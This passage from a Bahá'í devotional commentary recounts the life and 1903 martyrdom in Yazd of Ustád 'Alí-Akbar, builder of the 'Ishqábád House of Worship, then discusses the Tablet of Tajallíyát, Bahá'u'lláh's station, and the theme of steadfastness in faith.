their safety. They went to Isfahán, stayed a few days in the home of the King of the Martyrs and Beloved of the Martyrs and then Ustád went to Tihrán while Nabíl-i-Akbar remained in Isfahán. Ustád 'Alí-Akbar was so dedicated to the Cause that he could never withhold himself from teaching the Faith. Although he was a stranger in Tihrán, he succeeded in teaching some individuals who were enabled to embrace the Cause. He stayed nine months in the capital before returning to his native city of Yazd. On his return, the enemies of the Faith began agitating the authorities in the hope of taking his life. The clergy again issued his death warrant and handed it to the Governor for execution. But his qualities of service and loving-kindness had endeared him to the authorities and high-ranking officials, who extended their protection to him. However, his life was still in danger, for having failed to put him to death officially, his enemies plotted assiduously to assassinate him. For several years he was the target of many an intrigue, but the Almighty protected him for greater tasks ahead. During this time he succeeded in guiding many souls to the Cause of God.
It must be remembered that during the Heroic Age of the Faith all the believers lived and laboured under very dangerous conditions. The male members of the Bahá'í community were in greater danger than the female, because in those days women lived a secluded life and did not as a general rule appear in public. Any man who was a Bahá'í could not be sure when he left his home in the morning that he would be alive to return home in the evening. This was especially true if the individual was an educated person and an active teacher of the Cause. Ustád 'Alí-Akbar certainly was one of these. During the few years that he remained in Yazd many incidents took place which were fraught with danger. Eventually, after consultation with the Afnáns,* it was decided that Ustád 'Alí-Akbar should go to 'Ishqábád. He arrived there in the year AH 1301 (AD 1883-4).
* see above, p. 50n. In the absence of spiritual assemblies, Bahá'í teachers, or the Afnáns, or Bahá'ís with deeper knowledge of the Faith took counsel together on the affairs of the community.
For some time a few members of the Afnán family had taken great interest in 'Ishqábád. Hájí Mírzá Muhammad-'Alí, a maternal cousin of the Báb, had purchased some properties in that city on the advice of his younger brother Hájí Mírzá Muhammad-Taqí* who was then living in Yazd. When the news of this purchase was communicated to Bahá'u'lláh, He ordered that a certain plot of land purchased from a person called A'zam should be set aside for the building of a Mashriqu'l-Adhkár in 'Ishqábád. This was done and later the first Bahá'í House of Worship in the world was erected on that site.†
For about two years Ustád 'Alí-Akbar was engaged in building shops, a caravanserai and houses for the Afnáns. He then received permission from Bahá'u'lláh to go on pilgrimage to 'Akká. He attained the presence of Bahá'u'lláh in AH 1303 (AD 1885-6). His coming in contact with the Supreme Manifestation of God left an abiding impression on this devoted believer. The fire of the love of Bahá'u'lláh, already burning within his heart, was fanned into a mighty flame as a result of this pilgrimage, He returned to 'Ishqábád radiating the light of the Faith to all souls whom he met. These are the words of Bahá'u'lláh as He addresses Ustád 'Alí-Akbar in the Tablet of Tajallíyát:
* For a brief account of his life see vol. 1, pp. 198-201.
Mashriqu'l-Adhkár: literally, 'the Dawning-place of the Mention of God'. Unfortunately the building was damaged as a result of an earthquake in 1963 and had to be demolished.
1. Tablets of Bahá'u'lláh, p. 49.
The recipient of the Tablet of Tajallíyát
martyred in Yazd in 1903
In 'Ishqábád, Hájí Mírzá Muhammad-'Alí, the cousin of the Báb, financed the construction of a two-storey building on the corner of the land which he had purchased from A'zam and which had been set aside by Bahá'u'lláh's direction as a site for the future Mashriqu'l-Adhkár. Ustád 'Alí-Akbar constructed the building, which was dedicated as a Bahá'í centre in the year AH 1305 (AD 1887-8). All Bahá'í activities, such as meetings and receptions, were held in this building until some years later when the House of Worship was built through the dedicated and sacrificial efforts of Hájí Mírzá Muhammad-Taqí, a younger cousin of the Báb.
Ustád 'Alí-Akbar went on pilgrimage to the Holy Land once again in AH 1311 (AD 1893-4) during the Ministry of 'Abdu'l-Bahá. It was on this occasion that under the direction of 'Abdu'l-Bahá, who conceived the plan for a nine-sided building, he designed the main features of the House of Worship which were approved by the Master. In his last Tablet to Ustád 'Alí-Akbar, 'Abdu'l-Bahá confirms that this design was drawn when Ustád was in the Holy Land, and asks him to send a few copies to one of the Hands of the Cause in Persia. It was, however, a Russian architect who planned and executed the details of the construction; this began in 1902 when the foundation stone was laid in a moving ceremony in the presence of the Czar's representative General Krupatkin, the Governor-General of Turkistán. Of the significance of this House of Worship and its historic importance, Shoghi Effendi, the Guardian of the Faith, writes:
More conspicuous than any of these undertakings,* however, was the erection of the first Mashriqu'l-Adhkár of the Bahá'í world in the city of 'Ishqábád, a center founded in the days of Bahá'u'lláh, where the initial steps preparatory to its construction, had been already undertaken during His lifetime. Initiated at about the close of the first decade of 'Abdu'l-Bahá's ministry (1902); fostered by Him at every stage in its
* Referring mainly to the restoration of the House of the Báb and the establishment of schools by the Bahá'í community of Persia during the Ministry of 'Abdu'l-Bahá. (A.T.)
development; personally supervised by the venerable Hájí Mírzá Muhammad-Taqí, the Vakílu'd-Dawlih, a cousin of the Báb, who dedicated his entire resources to its establishment, and whose dust now reposes at the foot of Mt. Carmel under the shadow of the Tomb of his beloved Kinsman; carried out according to the directions laid down by the Center of the Covenant Himself; a lasting witness to the fervor and the self-sacrifice of the Oriental believers who were resolved to execute the bidding of Bahá'u'lláh as revealed in the Kitáb-i-Aqdas, this enterprise must rank not only as the first major undertaking launched through the concerted efforts of His followers in the Heroic Age of His Faith, but as one of the most brilliant and enduring achievements in the history of the first Bahá'í century.2
Ustád 'Alí-Akbar took a leading role in the building of the House of Worship. But God had other plans for him. Barely six months had passed from the laying of the foundation stone when he received a Tablet from 'Abdu'l-Bahá urging him to go on a visit to Yazd in the spring. He advised him not to hesitate or delay his departure. Ustád 'Alí-Akbar immediately arranged his affairs and in the spring of 1903, after twenty years of absence, he arrived in his native city. His arrival coincided with a period of unusual activity by the Bahá'ís of Yazd. Some well-known teachers of the Cause were coming and going, and the Bahá'ís were very active in teaching the Faith. The arrival of Ustád 'Alí-Akbar in particular created a stir among the non-Bahá'ís, who circulated rumours that he was about to build a Bahá'í House of Worship in Yazd. The people who lived in his neighbourhood were particularly angry, because over the years he had succeeded in converting many souls to the Faith in that area.
In the meantime, 'Abdu'l-Bahá despatched Jináb-i-Ibn-i-Abhar, one of the Hands of the Cause, to Yazd with a special mission. Some large gatherings were held and Ibn-i-Abhar aroused the believers to great heights of spirituality and particularly prepared them for martyrdom should the occasion arise. Consequently a great many souls stood ready to sacrifice
2. God Passes By, p. 300.
their lives in the path of God. This was the summer of 1903, a few months after the arrival of Ustád 'Alí-Akbar. Ibn-i-Abhar left Yazd; he had hardly reached a neighbouring town when suddenly a great uprising against the Bahá'ís erupted in the city, which soon spread to several villages around Yazd. This was the greatest upheaval that had occurred in Persia during the Ministries of Bahá'u'lláh and 'Abdu'l-Bahá since the blood-bath of Tihrán after the attempt on the life of Násiri'd-Din Sháh in 1852.
The upheaval within the city of Yazd lasted a few days. Every Bahá'í who could be found was put to death. A great many believers laid down their lives for the Cause of God in most moving circumstances. The History of the Martyrs of Yazd published in Cairo describes in detail the martyrdom of these souls. However, it is a well-known fact that few people have succeeded in reading this book all the way through; its heartrending stories are so piercing that most people stop reading after a few pages.
Ustád 'Alí-Akbar was among those martyred. The first fatal shot was fired by one of his close relatives. He fell to the ground and shouted, 'Yá Bahá'u'l Abhá'! Then crowds of people attacked, smashed his head with a pickaxe, tied a rope to his feet and dragged his corpse through the city where hundreds of people hurled stones at it and inflicted blows upon it. His disfigured body was then lowered into a deep unused well on the outskirts of the city in which the bodies of other martyrs had been deposited.
Thus ended the life of a believer who served the Cause of God with exemplary devotion and self-sacrifice. Although he had only an elementary education, he is the author of some beautiful poems and a book on proofs of the Faith (unpublished). He also wrote a detailed account of the early days of the Faith in 'Ishqábád which has not as yet been published. His achievements in the teaching field were truly outstanding. According to his own testimony written about two years before his martyrdom, three hundred souls embraced the Cause of God as a direct result of his teaching work. Ustád 'Alí-Akbar was certainly one of the favoured ones of God; Bahá'u'lláh has revealed twenty-seven
Tablets in his honour. 'Abdu'l-Bahá also honoured him with many Tablets.
When Ustád 'Alí-Akbar received the Tablet of Tajallíyát he was particularly fascinated by it, as Bahá'u'lláh had sent him pages of 'revelation-writing' along with the text of the Tablet. When Tablets were revealed, Mírzá Áqá Ján, Bahá'u'lláh's amanuensis, usually took them down. But the speed of revelation was so fast that his handwriting, known as revelation-writing, was practically illegible. We have discussed this subject more fully in a previous volume.
The Station of Bahá'u'lláh
In the Tablet of Tajallíyát Bahá'u'lláh reveals a glimpse of the transcendent splendour of His Revelation. In a few passages He extols the Mission of its Author in such wise that some may find it difficult to appreciate. It is interesting to note that Bahá'u'lláh often repeats a certain subject in His Writings, but each time it is freshly revealed and expressed in a different way. One subject, however, appears more than any other in the Writings of Bahá'u'lláh: one can hardly come across a Tablet which does not expound the greatness of His Revelation and the exalted station of its Author.
This recurring theme is the cornerstone of Bahá'u'lláh's Message to mankind. He constantly reiterates that He has ushered in the Day of God. For instance, the following utterances selected at random reveal this outstanding feature of His transcendent Revelation. These highly significant passages are the cause of supreme felicity and exhilaration for His loved ones who have truly recognized His station. On the other hand, the same passages may be misconstrued by those who are not endowed with true understanding, or by those motivated by malice. Indeed, many of Bahá'u'lláh's adversaries falsely accused
* see vol. 1, ch. 3. For a facsimile of a page of the Tablet of Tajallíyát in revelation-writing see vol. 1, facing p. 110.
him of identifying Himself with that Invisible Reality, the Essence of Deity itself.
Verily I say! No one hath apprehended the root of this Cause. It is incumbent upon every one, in this day, to perceive with the eye of God, and to hearken with His ear. Whoso beholdeth Me with an eye besides Mine own will never be able to know Me. None among the Manifestations of old, except to a prescribed degree, hath ever completely apprehended the nature of this Revelation.3
This is the Day whereon human ears have been privileged to hear what He Who conversed with God (Moses) heard upon Sinai, what He Who is the Friend of God (Muhammad) heard when lifted up towards Him, what He Who is the Spirit of God (Jesus) heard as He ascended unto Him, the Help in Peril, the Self-Subsisting.6
This is the Day whereon the unseen world crieth out, 'Great is thy blessedness, O earth, for thou hast been made the footstool of thy God, and been chosen as the seat of His mighty throne.' 7
3. Bahá'u'lláh, quoted by Shoghi Effendi, The Advent of Divine Justice, p. 64.
4. ibid. p. 65.
5. ibid. p. 67.
6. ibid. p. 66.
7. ibid.
8. Bahá'u'lláh, quoted by Shoghi Effendi, 'The Dispensation of Bahá'u'lláh', in The World Order of Bahá'u'lláh, pp. 106-7.
He it is*...Who in the Old Testament hath been named Jehovah, Who in the Gospel hath been designated as the Spirit of Truth, and in the Qur'án acclaimed as the Great Announcement...But for Him no Divine Messenger would have been invested with the robe of prophethood, nor would any of the sacred scriptures have been revealed. To this bear witness all created things.9
In the Tablet of Tajallíyát Bahá'u'lláh acknowledges that the mere mention of His Station may cause people to become perturbed and filled with consternation. He intimates to the recipient of that Tablet that He would not have disclosed the exalted nature of His Station had it not been for the Báb who had repeatedly announced it in His Writings. These are the words of Bahá'u'lláh in the Tablet of Tajallíyát:
It is obvious that the great majority of the people at this time
* Bahá'u'lláh. (A.T.)
9. Bahá'u'lláh, quoted by Shoghi Effendi, 'The Dispensation of Bahá'u'lláh', in The World Order of Bahá'u'lláh, p. 104.
10. Tablets of Bahá'u'lláh, p. 53.
in history will not be able to accept Bahá'u'lláh's claims to such an exalted position. In the above passage He confirms that such a claim would strike 'terror into the hearts of the ignorant'. Even some of His followers whose hearts have been touched by His love but who have not had the opportunity to deepen themselves in the verities of His Faith and discover the inner significances of His Revelation may find themselves severely tested when they come across Bahá'u'lláh's utterances revealing some of the awe-inspiring features of His transcendent Revelation. They may be equally tested by the statement of the Báb, Himself a Manifestation of God, saying that He would be 'the first to adore' Bahá'u'lláh. The mind is bewildered when it attempts to contemplate the station of the 'Adorer'--the Báb, a Manifestation of God, the 'Primal Point', the 'King of Messengers', one 'round Whom the realities of the Prophets and Messengers revolve'. The 'Adored One' is Bahá'u'lláh, and it was noted in the above passage that the Báb describes Him as 'the One Who shall proclaim under all conditions, "Verily, verily, I am God, no God is there but Me, the Lord of all created things. In truth all others except Me are My creatures. O, My creatures! Me alone do ye worship."' The Writings of the Báb are replete with passages* such as this one. Bahá'u'lláh Himself in one of His Tablets11 makes a striking statement when He testifies that the Cause is so mighty that whenever His Pen moves to inscribe its greatness, it trembles and swoons away.
This subject--the greatness of the Revelation of Bahá'u'lláh--has been discussed repeatedly in previous volumes, each time from a slightly different point of view. In this instance let us examine the main obstacles which may prevent the seeker of truth from appreciating the exalted nature of the Revelation of Bahá'u'lláh and the lofty station of its Author. These obstacles appear to be based on two misunderstandings. One is Bahá'u'lláh's identification with the Godhead. The other, the apparent contradiction between the belief that all the Manifestations of God are
* For further information see vol. 1, ch. 18.
11. Unpublished compilation, National Archives Committee, no. 41, p. 4.
one and the statement that Bahá'u'lláh is the supreme Manifestation of God.
The relationship of God to His Manifestations
As to the first question, we can do no better than to turn to Shoghi Effendi's explanation. He writes:
Let no one meditating...on the nature of the Revelation of Bahá'u'lláh, mistake its character or misconstrue the intent of its Author. The divinity attributed to so great a Being and the complete incarnation of the names and attributes of God in so exalted a Person should, under no circumstances, be misconceived or misinterpreted. The human temple that has been made the vehicle of so overpowering a Revelation must, if we be faithful to the tenets of our Faith, ever remain entirely distinguished from that 'innermost Spirit of Spirits' and 'eternal Essence of Essences'--that invisible yet rational God Who, however much we extol the divinity of His Manifestations on earth, can in no wise incarnate His infinite, His unknowable, His incorruptible and all-embracing Reality in the concrete and limited frame of a mortal being. Indeed, the God Who could so incarnate His own reality would, in the light of the teachings of Bahá'u'lláh, cease immediately to be God. So crude and fantastic a theory of Divine incarnation is as removed from, and incompatible with, the essentials of Bahá'í belief as are the no less inadmissible pantheistic and anthropomorphic conceptions of God--both of which the utterances of Bahá'u'lláh emphatically repudiate and the fallacy of which they expose...12
It is essential to differentiate between the 'Essence of God' which Shoghi Effendi describes as the 'innermost Spirit of Spirits' or 'Eternal Essence of Essences', and 'God revealed' to humanity. The former is unknowable, while the latter is comprehensible to man. We note in the Writings of Bahá'u'lláh that the Manifestations of God do not have any knowledge of God's Essence. One can understand his own equal or an inferior being, but knowledge of a superior being is impossible. Therefore, if the
12. 'The Dispensation of Bahá'u'lláh', in The World Order of Bahá'u'lláh, pp. 112-13.
Manifestations of God were able to understand the Essence of Divinity they should be equal to Him, and this is blasphemy.
In one of His Tablets Bahá'u'lláh has made a categorical statement that the Manifestations of God do not have any access to the Essence of God, that invisible Reality. These are His Words:
Bahá'u'lláh Himself has testified in many of His Tablets that He too has no knowledge or understanding of the innermost reality of God. In one instance He thus testifies:
In one of His celebrated prayers Bahá'u'lláh refers to Himself as the Day-Spring of God's signs and the Revealer of His clear tokens. He also testifies to the immensity of His own wisdom and the loftiness of His knowledge. Nevertheless, the possessor of such an exalted station affirms that He is unable to know the innermost Essence of God. These words are part of His prayer as He communes with God:
13. Quoted by Shoghi Effendi, 'The Dispensation of Bahá'u'lláh', in The World Order of Bahá'u'lláh, p. 113.
14. ibid.
Pen--how much more is He incapable of apprehending the nature of Thine all-glorious Self and of Thy most august Essence! 15
From these and many other Writings of Bahá'u'lláh we arrive at the conclusion that there can be no direct path or relationship between Him Who is the Essence of Divinity and all others, including His Manifestations. There is no door which could lead His creatures to His innermost Reality. We read in the Long Obligatory Prayer that He is far exalted above the reach of man's prayers.
We note that God is 'sanctified above all attributes'. In many of His Tablets and prayers Bahá'u'lláh has testified that one cannot attach any attributes to the Essence of God. This can be easily appreciated, for any attribute which may be related to Him will have a limiting effect on Him, and consequently He will cease to be God. Those familiar with mathematics and the term 'infinity' know that it is impossible to evaluate it in terms of a number, however large. It would cease immediately to be 'infinity' if it were identified with any item other than itself.
God is the infinite Being. The attributes 'the All-Knowing', the All-wise', 'the Incomparable' and others cannot be related to the Innermost Reality of God, His Essence.
In a Tablet17 'Abdu'l-Bahá states that a great many people are bondslaves of vain imaginings. They confess that they worship God, but if they were asked which God they were worshipping, the response would be 'the God which comes to mind'. 'Abdu'l-Bahá then explains in this Tablet that whatever the individual can think about God in his mind is the fabric of his own imagination, and is not God. He emphasizes that the only way
15. Prayers and Meditations, no. 176.
16. ibid. no. 183.
17. Má'idiy-i-Ásamání, vol. 9, p. 24.
for one's mind to visualize God is to turn to His Manifestations. The explanations of 'Abdu'l-Bahá may be summarized by saying that the Infinite cannot be comprehended by man's finite mind.
In another Tablet18 'Abdu'l-Bahá states that we may attach some attributes to God. We do this not because we wish to prove that God is the possessor of exalted attributes--attributes which are beyond our understanding--but rather to dissociate from Him the lack of such attributes. In his celebrated Tablet to Dr Forel, 'Abdu'l-Bahá states:
God, Who in the Kingdom of His Own Self is exalted above any attribute, reveals Himself in His Kingdom of Revelation. It is in this Kingdom that all the attributes of God are manifested, and it is from this Kingdom that all the Manifestations are sent down. These embodiments of Holiness, the Manifestations of God, are the bearers of God's attributes. All the superlative attributes such as 'the Omnipotent', 'the All-Knowing', 'the All-glorious' and other similar attributes refer to God revealed to man. It may be noted in all the heavenly Books and in the Bahá'í Writings that the Manifestations of God, the Founders of world
18. Amr Va Khalq, vol. 1 , p. 71.
19. Bahá'í World Faith, pp. 342-3.
religions, are all the recipients of the Holy Spirit of God. And it is through the aid of the Holy Spirit that at each age they have revealed the attributes of God to Man.
Bahá'u'lláh, as far back as His days in the Síyáh-Chál* of Tihrán, has categorically claimed that it was the 'Most Great Spirit' of God which was revealed to Him. And it is clear from the study of His Writings that it never left Him, and that He was animated and sustained throughout His Ministry by this 'Most Great Spirit'. In the Súriy-i-Haykal† Bahá'u'lláh affirms that the Holy Spirit revealed to the Manifestations of God has come into being through the agency of this 'Most Great Spirit', whatever that is. These are His words:
The Most Great Spirit is therefore the begetter of the Holy Spirit and the Revealer of God's attributes to man. Through it all Revelations have been sent down and all created things called into being. This 'Most Great Spirit' which has existed from eternity and which will exist for eternity had never before revealed Itself directly to mankind. God had waited for millions of years for man to develop spiritually and intellectually to a point where he could receive this Most Great Revelation. Bahá'u'lláh has declared that this was indeed God's purpose in creating man. In a Tablet He thus reveals:
* Dungeon in Tihrán where Bahá'u'lláh was imprisoned.
† see vol. 3, chapter 7.
20. Quoted by Shoghi Effendi, 'The Dispensation of Bahá'u'lláh', in The World Order of Bahá'u'lláh, p. 109.
of God, in His Books and Scriptures--the day which all the Prophets and the Chosen Ones, and the holy ones, have wished to witness.21
In past Dispensations God's Revelation had been indirect through the intermediary of the Holy Spirit. In this Dispensation, however, for the first time the Most Great Spirit of God has revealed Itself directly to Bahá'u'lláh and ushered in the Day of God. The most important point which can help clarify any misunderstanding about the station of Bahá'u'lláh is the dissociation of His human temple from the 'Most Great Spirit' which animated it. When we refer to Bahá'u'lláh, we are referring to the 'Glory of God', the 'Most Great Spirit' and not to a human being. When He speaks, the words are not His. They issue from the 'Most Great Spirit' which speaks in the language of man through a mouthpiece--the Person of Bahá'u'lláh. We often come across the words of Bahá'u'lláh saying 'I am God'. In many instances He declares that all creation has come into being through one of His words, or announces that He has sent all the Messengers in the past. The following passage is a typical example.
But for Him {Bahá'u'lláh} no Divine Messenger would have been invested with the role of prophethood.22
None of these utterances come from the Person of Bahá'u'lláh. They represent the Voice of God which speaks to us through the instrumentality of a human being. Bahá'u'lláh Himself has expressed this phenomenon in these words:
When I contemplate, O my God, the relationship that bindeth me to Thee I am moved to proclaim to all created things 'verily I am God!'; and when I consider my own self, lo, I find it coarser than clay!23
From all these explanations one may conclude that the greatness of the Revelation of Bahá'u'lláh and His transcendent glory is due to the Manifestation of the 'Most Great Spirit' which revealed itself directly to Him. Never before had God sent a
21. Quoted by Shoghi Effendi, The Advent of Divine Justice, p. 65.
23. ibid. p. 113.
Manifestation of His 'Most Great Spirit' to mankind, His Supreme Manifestation, or the Universal Manifestation Who appeared in His Greatest Name, Bahá (Glory).
Shoghi Effendi, the Guardian of the Faith, has given the following explanation through his secretary:
By Greatest Name is meant that Bahá'u'lláh has appeared in God's Greatest Name, in other words, that He is the Supreme Manifestation of God...There are no Prophets, so far, in the same category as Bahá'u'lláh, as He culminates a great cycle begun with Adam.24
Although one must distinguish between the Spirit which animated Bahá'u'lláh and His own Person, and be on one's guard not to attribute the glory of His Revelation to His human frame, it is nevertheless clear that the Person of the Manifestation cannot be dismissed altogether. On the contrary, the human temple which becomes the carrier of such a mighty Spirit moves and acts with the majesty and authority of God. The overwhelming and all-pervasive power of God is so infused into every atom of His Being that in every action He portrays the signs and tokens of divine power. Those endowed with spiritual insight can see in every move of the Manifestation of God, the attributes of God unmistakably apparent. His thoughts. His words, His actions are all motivated not by a human soul but by the Divine Spirit.
Hájí Mírzá Haydar-'Alí, to whom much reference has been made in this and previous volumes, has described his own observations of Bahá'u'lláh in these words:
His blessed person appeared in the form of a human being, but His very movements, His manners, His way of sitting or standing, eating or drinking, even His sleep or wakefulness, were each a miracle to me. Because His perfections, His exalted character, His beauty, His glory, His most excellent titles and most august attributes revealed to me that He was peerless and without parallel. He was matchless with no one to
* For further discussion of the term 'Universal Manifestation' see vol. 1, pp. 309-11.
24. Letters from the Guardian to Australia and New Zealand, p. 41.
join partners with Him, unique with no peer or equal, the One and Single without a deputy...I saw a Person Who, from the human point of view, was like the rest of humanity. However, if one were to add the love, mercy and compassion of all the peoples of the world together, they would appear as a drop when compared with the ocean of His tender mercy and loving-kindness. I even seek God's forgiveness for making such a comparison. Similarly, if one brought together all the knowledge of science, crafts, philosophy, politics, natural history and divinity possessed by mankind, it would seem, in comparison with His knowledge and understanding, as an atom compared to the sun. If one weighed the might and power of kings, rulers, Prophets and Messengers against His omnipotence and sovereignty, His grandeur and glory, His majesty and dominion, they would be as insignificant as a touch of moisture compared with the waters of the sea...As I observed every one of His attributes, I discovered my inability to emulate Him, and realized that all the peoples of the world will never be able to attain to His perfections.25
The dawn of the new age
The other cause of misunderstanding about the station of Bahá'u'lláh is the apparent contradiction between His being the 'Supreme Manifestation', and the principle of the equality and oneness of all the Manifestations. To appreciate this point the reader would be well advised to study the Kitáb-i-Íqán, in which Bahá'u'lláh explains that the difference between the Manifestations lies in the intensity of their Revelations. We have also discussed this matter in detail in a previous volume.*
In the Tablet of Tajallíyát Bahá'u'lláh reveals the following:
* see vol. 1, pp. 64-6 and 118-19.
25. Bihjatu's-Sudúr, pp. 72-3.
The Revelation of Bahá'u'lláh has endowed the human race with new capacity and bestowed upon it immense potentialities. In the above passage Bahá'u'lláh asserts that through Him has 'appeared that which had been hidden from time immemorial and been veiled from the eyes of men'. As we look back upon the progress of humanity throughout the ages we can clearly see that the advent of every Manifestation of God has coincided with a time when the older Dispensation had come to its end* and was enveloped in darkness. But the Dispensation of Bahá'u'lláh is different in that it has brought to light all that was hidden from man because of his lack of capacity in the past.
The dawn of this new age coincided with the advent of the Báb and Bahá'u'lláh. This phenomenon is similar to the appearance of the dawn banishing the darkness of the night. During the night no one can see and all is dormant, but at the break of day eyes begin to see and everything comes to light. The dawn of this new era, which occurred in the middle of the nineteenth century at the appearance of the Báb, caused the minds and hearts of people to be illumined. The masses of the people, who in olden days followed their leaders almost blindly, were now able to see for themselves and think independently. The night season had passed and the morning light had dawned. As this process of enlightenment continued, people viewed life and all that pertains to it with a critical eye. A multiplicity of ideas resulted in the
* see below, pp. 155-6.
26. Tablets of Bahá'u'lláh, p. 47.
clash of differing opinions. Hundreds of sects were created in religions and many left religion altogether and swelled the ranks of agnostics and atheists. Many contrasting political and social systems were created and many controversial philosophies were introduced and established throughout the world.
These divisive developments in the fields of religion, politics and social affairs are threatening to plunge the human race into a deep and dangerous abyss. On the other hand, there has occurred such an explosion of arts and sciences in this new era as bids fair to usher in an age in which spiritual and material forces will combine together to bring about a new civilization which will be well-balanced and world-embracing. These manifestations of human activity, with all their constructive as well as destructive consequences, are unprecedented in the annals of the past and owe their origins to the dawning of the Sun of Truth in this new age.
Although the human world has been illumined in this day, the generality of mankind has not been able to find the source of this illumination. Returning to our analogy of the dark night and the appearance of the dawn, we can see a striking similarity between the plight of humanity today and the fate of those who are confined in their rooms when the dawn appears. They can witness the area brightening, but may fail to see the sun because of closed doors and drawn curtains. The veils that shut people out from the Sun of Truth are many and varied. The veil of knowledge, of pride and vainglory, of time-honoured traditions to which people usually become bondslaves, of various forms of prejudice, of religious indoctrination and many more--all these veils act as barriers for man and prevent him from recognizing the Revelation of Bahá'u'lláh as the Source of a revolutionizing process which is at work in the world of humanity in this age. Only by the lifting of these 'veils' and through an earnest search for truth can the individual become assured in his heart that Bahá'u'lláh, and no one else, has ushered in this revolutionizing process to which He Himself testifies in these words from the Kitáb-i-Aqdas:
The world's equilibrium hath been upset through the vibrating influence of this most great, this new World order. Mankind's ordered life hath been revolutionized through the agency of this unique, this wondrous System--the like of which mortal eyes have never witnessed.27
Recognition and Steadfastness
In the Tablet of Tajallíyát Bahá'u'lláh states that no one can recognize God save through Him. Statements such as these are to be found in many of His Writings. These are His words in this Tablet:
The 'Bearer of the Most Great Name', the 'Speaker on Sinai', the 'Hidden Mystery' and the 'Treasured Symbol' mentioned in the above passage all refer to Bahá'u'lláh. One of the basic teachings of Bahá'u'lláh is that man can never know God directly.
27. Synopsis, p. 27, also in Gleanings, LXX.
28. Tablets of Bahá'u'lláh, p. 50.
["The world's equilibrium..."] The Kitáb-i-Aqdas, ¶181; Gleanings From The Writings Of Bahá'u'lláh, LXX
The only way open to him to know God is through knowing His Manifestations. Bahá'u'lláh has fully expounded this subject in the Kitáb-i-Íqán, and we have referred to it in a previous volume.* Similarly, 'attainment unto the Divine presence', which Bahá'u'lláh testifies to be none other than attaining His Own presence, is also discussed previously.†
It is interesting to note Bahá'u'lláh's statement that He 'uttered a Word whereby all that are in the heavens and on the earth have been dumbfounded'. In another Tablet He makes a similar statement and reveals that the word in question is the changing of 'He' into 'I'. Again this statement has been referred to and explained in a previous volume.‡
Another subject to which Bahá'u'lláh has attached great importance in His Writings is that of steadfastness in the Cause of God. These are His words in the Tablet of Tajallíyát:
The second Tajallí is to remain steadfast in the Cause of God--exalted be His glory--and to be unswerving in His love. And this can in no wise be attained except through full recognition of Him; and full recognition cannot be obtained save by faith in the blessed words: 'He doeth whatsoever He willeth.' Whoso tenaciously cleaveth unto this sublime word and drinketh deep from the living waters of utterance which are inherent therein, will be imbued with such a constancy that all the books of the world will be powerless to deter him from the Mother Book. O how glorious is this sublime station, this exalted rank, this ultimate purpose! 29
The Cause of God has been steadily growing since its inception. It has been, and still is, subjected to continuous opposition and harrowing persecutions. That it has survived, and indeed flourished, in spite of encountering many grievous upheavals in the course of its history, is partly due to the protection vouchsafed to it by the Almighty God, and partly to the steadfastness of its adherents. The heroic spirit of self-sacrifice
* see vol. 1, pp. 175-80.
† see vol. 1, pp. 185, 299n.
‡ see vol. 1, p. 46.
29. Tablets of Bahá'u'lláh, p. 51.
demonstrated by thousands of its martyrs, its saints and scholars, its teachers and administrators, is indicative of an unshakeable faith and certitude unprecedented in the annals of religion. If it were not for the steadfastness of the followers of the Báb and Bahá'u'lláh in the face of brutal attacks and persecutions, the Bahá'í community could not have won such remarkable victories within so short a period of time.
The steadfastness of a believer depends upon the extent to which he has recognized the station of Bahá'u'lláh. Those who have truly reached the pinnacle of faith and certitude have become so steadfast in the Cause of God as to fulfil the conditions for steadfastness that Bahá'u'lláh has laid down in the Tablet of Ahmad:*
It is interesting to note that in the same Tablet Bahá'u'lláh has made the following promise:
People often wonder how to recite this Tablet with absolute sincerity. It may be said that reading with absolute sincerity takes place when the reader can truly reach to such heights of faith and assurance that 'his heart shall not waver, even if the swords of the enemies rain blows upon him'. In one of His Tablets30 Bahá'u'lláh states that a person will become steadfast in the Cause when he is absolutely assured in his heart that he does not need to turn to any religion other than this Most Great Revelation.
One of the teachings of Bahá'u'lláh is the unfettered search after truth. Some misunderstand this important teaching to mean that even after discovering the Truth in the Revelation of
* For further information see vol. 2, ch. 5.
30. Ishráqát, p. 196.
Bahá'u'lláh and recognizing Him as the Manifestation of God, one ought to continue the search, perchance one may find it elsewhere. To hold such a view is a clear indication that the person has not discovered the truth in the first place and has not reached the stage of assurance in his faith. On the other hand, having found the truth, one never reaches the end of his journey; for as long as one lives there is scope for a better and deeper understanding of the truth he has found.
In The Seven Valleys Bahá'u'lláh describes how the wayfarer passes from one stage to another. It begins with the Valley of Search when the individual seeks to find the Truth. When he discovers the object of his search he moves forward to other valleys, the Valleys of Love, of Knowledge and the rest. To remain in the Valley of Search for ever is an evident sign of failure to find the Truth. The recognition of the Manifestation of God must be followed by steadfastness in His Covenant, which means simply obedience* to the Centre of the Cause and carrying out His laws and teachings.
When we study human nature we notice there are two forces within man which are always at work in opposition to each other. One is the force of the animal nature which tends to drag him down into the animal kingdom. The other is the force of the spiritual nature which elevates man to great heights of nearness to God. A human being may be likened to an aircraft which is also under the influence of two opposing forces. The first is the force of gravity which tends to pull the machine down toward the earth; the second, the lifting force of the engine which propels the machine upwards. By its nature the former is always present and effortlessly pulls down the craft, while the latter force is applied only when the engine is switched on and kept running. As long as the engine is running, the aircraft can fly. As soon as it stops, the force of gravity will instantly pull the machine down.
There is a striking similarity between the aircraft and the functioning of a human being. The animal nature is similar to the force of gravity. It is always present and can easily and swiftly
* For a further discussion of the subject of obedience see vol. 3.
degrade the station of the individual to that of the animal and far beyond. The spiritual nature, if allowed to exert its influence, can subdue the animalistic inclinations and lift man to great heights of spirituality just as the aircraft engine provides the force to lift the aircraft. This upliftment and spiritual growth occurs when the individual recognizes the Manifestation of God and acquires faith and assurance.
Although having faith in Bahá'u'lláh will cause the human soul to be uplifted spiritually, it will not be sufficient for the individual to overcome the many tests and trials he encounters in life. There is yet another important step which must be taken after having recognized the station of Bahá'u'lláh and embraced His Faith. To elucidate this point we may use the analogy of the flying machine again, as it can throw further light on this subject. A powerful engine will not necessarily guarantee the safe landing of an aircraft at its destination. It is the navigational instruments continuously receiving signals from a central point, that guide the pilot to navigate the aeroplane throughout its flight. The safety of the plane and its landing at a destination depends upon the pilot who must unquestionably obey the signals he gets from the control centre.
